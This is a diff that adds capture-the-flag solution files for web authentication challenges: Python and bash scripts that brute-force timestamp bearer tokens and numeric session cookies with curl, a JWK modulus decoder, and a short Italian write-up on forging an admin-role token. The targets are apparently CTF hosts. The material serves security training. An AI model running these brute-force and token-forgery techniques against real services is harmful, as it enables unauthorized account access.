Second CTFs part

web-auth/flagmail/force.py

@@ -0,0 +1,14 @@
+import os
+import time
+
+token = 1775846743002
+payload = f"curl --path-as-is -i -s -k -X $'GET' \
+    -H $'Host: 4a095ba0-1b44-40a8-8ed1-f8d01aa27cf7.offsec.m0lecon.it:8001' -H $'Accept-Language: en-US,en;q=0.9' -H $'User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36' -H $'Authorization: Bearer 1775846743002' -H $'Accept: */*' -H $'Referer: http://4a095ba0-1b44-40a8-8ed1-f8d01aa27cf7.offsec.m0lecon.it:8001/inbox' -H $'Accept-Encoding: gzip, deflate, br' -H $'Connection: keep-alive' \
+    $'http://4a095ba0-1b44-40a8-8ed1-f8d01aa27cf7.offsec.m0lecon.it:8001/api/inbox'"
+# os.system(f"{payload} | grep 'messages'")
+for i in range(60 * 999):
+    num = 1775844960000 + i
+    payload = f"curl --path-as-is -i -s -k -X $'GET' \
+    -H $'Host: 4a095ba0-1b44-40a8-8ed1-f8d01aa27cf7.offsec.m0lecon.it:8001' -H $'Accept-Language: en-US,en;q=0.9' -H $'User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36' -H $'Authorization: Bearer {num}' -H $'Accept: */*' -H $'Referer: http://4a095ba0-1b44-40a8-8ed1-f8d01aa27cf7.offsec.m0lecon.it:8001/inbox' -H $'Accept-Encoding: gzip, deflate, br' -H $'Connection: keep-alive' \
+    $'http://4a095ba0-1b44-40a8-8ed1-f8d01aa27cf7.offsec.m0lecon.it:8001/api/inbox'"
+    os.system(f"echo 'Date: \n{num}\n' && {payload}")

web-auth/keyvault/convert.py

@@ -0,0 +1,16 @@
+import base64
+
+# Example Base64 encoded N value
+b64_n = "33dSdlKWda7L8qG94uQHfd21KnwjnbyCyMj44gTS5olb7Aejqsu8fB2lzNJhpWf6bDpFQ3iAWIXjuDQLPHGnQqHasDPEcJdlcQOJn6Sqgj2PnbuE2bBASXEefzjssDJyiZdqMWGRp41E_TlqUcoShkMjf95N_4KlvjsOTb9I99iAA3ouTWcfHA4N7Ln3fzL-BNYlVtbxTCCT-u4kyC0HewrNltZVNiJPV-FxH9FVKvqZQIv-ZCM6EgnXnU9broBZEENIEK02yYvyjqxwPnku96J4MdDItY9qyiNTzSNkHyNK0ds-kagMLT2EP7mR2EAryCv0ZDgJKQlIw4xYH91MKQ"
+
+# 1. Decode the string
+# If it's standard Base64:
+# n_bytes = base64.urlsafe_b64decode(b64_n)
+
+# If it's Base64URL (common in JWKs):
+n_bytes = base64.urlsafe_b64decode(b64_n + "==")
+
+# 2. Convert bytes to integer (Big-Endian)
+n_integer = int.from_bytes(n_bytes, byteorder="big")
+
+print(f"Integer Value: {n_integer}")

web-auth/neonarcade/writeup

@@ -0,0 +1,2 @@
+- Aggiornando da settings posso fare delle POST generando qualsiasi token voglio (firmato dal server)
+- Faccio una post con role=admin invece che role=player e dopo lo mando a /operator trovando la flag.

web-auth/too_small/cookie-output.txt

@@ -0,0 +1,6 @@
+# Netscape HTTP Cookie File
+# https://curl.se/docs/http-cookies.html
+# This file was generated by libcurl! Edit at your own risk.
+
+too-small-reminder.challs.olicyber.it	FALSE	/	FALSE	0	session_id	1337
+

web-auth/too_small/force.sh

@@ -0,0 +1,8 @@
+#!/bin/bash
+
+for i in $(seq 1 9999);
+do
+	echo "Session id=$i"
+	curl -b "session_id=$i"  http://too-small-reminder.challs.olicyber.it/admin
+
+done